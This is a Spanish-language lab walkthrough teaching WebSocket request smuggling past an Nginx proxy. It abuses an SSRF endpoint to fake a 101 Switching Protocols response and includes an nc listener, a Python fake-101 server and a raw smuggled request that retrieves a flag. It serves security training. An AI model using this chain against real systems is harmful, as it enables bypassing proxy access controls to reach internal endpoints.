Elevar Nuestro Proxy

Por ahora, hemos estado trabajando con un proxy que no comprueba la respuesta del servidor para determinar si el upgrade de WebSocket fue exitoso o no. En esta tarea, reemplazaremos el proxy vulnerable Varnish con un proxy Nginx que comprueba las respuestas antes de tunelizar peticiones a través de una conexión WebSocket. La aplicación de backend seguirá teniendo el endpoint /socket habilitado con los WebSockets y el endpoint /flag como objetivo. La nueva aplicación puede ser accedida vía http://IP:8002/.

Primero intentaremos ejecutar el payload que usamos en la tarea anterior:

Defeating Secure Proxies

Fíjate que Nginx no filtra la flag a pesar de obtener una respuesta 426 para el WebSocket upgrade inicial. Como Nginx está comprobando la respuesta antes de elevar, puede determinar que no se pudo establecer una conexión válida, por lo que no nos permite contrabandear la petición a /flag.


Engañar al Proxy

Como no podemos simplemente contrabandear peticiones ya, necesitamos encontrar una manera de engañar al proxy para que piense que se ha establecido una conexión WebSocket válida. Esto implica de alguna manera forzar a que el servidor responda a nuestra petición con una respuesta falsa 101 Switching Protocols sin llegar a elevar la conexión.

Aunque no seamos capaces de hacer esto para todas las aplicaciones, si nuestra app objetivo tiene algún tipo de vulnerabilidad que nos permite proxear las peticiones de vuelta al servidor que controlamos como atacantes, podremos ser capaces de inyectar la respuesta 101 Switching Protocols. En este caso especial, deberíamos ser capaces de contrabandear peticiones a través de una conexión WebSocket.

Defeating Secure Proxies


Aprovechar SSRF

En la aplicación de esta tarea, nos aprovecharemos de una vulnerabilidad SSRF para simular un falso upgrade WebSocket. Después de una inspección rápida, podemos ver que la aplicación nos permite comprobar el estado de una URL. Cada vez que introducimos una URL, el servidor hace una petición a http://IP:8002/check-url?server=<url> y devuelve el código de estado de la respuesta correspondiente:

Defeating Secure Proxies

Podemos usar nc para ver si podemos redirigir una petición hacia nosotros mismos. Deberíamos obtener una respuesta similar a esta:

shell-session
user@attackbox$ nc -lvp 5555
Listening on 0.0.0.0 5555
Connection received on 10.114.191.82 52988
GET /test HTTP/1.1
Host: 10.10.11.155:5555
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Esto significa que podemos usar la vulnerabilidad SSRF para influenciar la respuesta del backend. Todo lo que necesitamos es configurar un servidor web que responda con estado 101 permitiéndonos falsificar una upgrade WebSocket.


Configurar el Servidor del Atacante

Podemos configurar rápidamente un servidor que responda con 101 a cualquier petición con el siguiente código Python:

python
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 1:
    print("""
Usage: {} 
    """.format(sys.argv[0]))
    sys.exit()

class Redirect(BaseHTTPRequestHandler):
   def do_GET(self):
       self.protocol_version = "HTTP/1.1"
       self.send_response(101)
       self.end_headers()

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

Guardamos el código y lo ejecutamos.


Falsificar un WebSocket

Finalmente estamos listos para mandar el payload. Usaremos BurpSuite para mandar una petición a check-url contra nuestro servidor malicioso. La petición debería verse así:

shell
GET /check-url?server=http://10.10.11.155:5555 HTTP/1.1
Host: 10.114.191.82:8002
Sec-WebSocket-Version: 13
Upgrade: WebSocket
Connection: Upgrade
Sec-WebSocket-Key: nf6dB8Pb/BLinZ7UexUXHg==

GET /flag HTTP/1.1
Host: 10.114.191.82:8002

Si todo va como esperado, deberíamos obtener una petición en nuestro servidor web malicioso y el valor de la flag en Burp.

Defeating Secure Proxies

Recuerda que /check-url no es un endpoint WebSocket. Sólo estamos manipulando tanto la petición como la respuesta que el proxy obtiene para hacerle creer que es un WebSocket real. Esto significa que el proxy tunelizará la segunda petición en nuestro payload como si fuera parte de la conexión WebSocket, pero el backend la procesará como una petición HTTP ya que no hay WebSocket.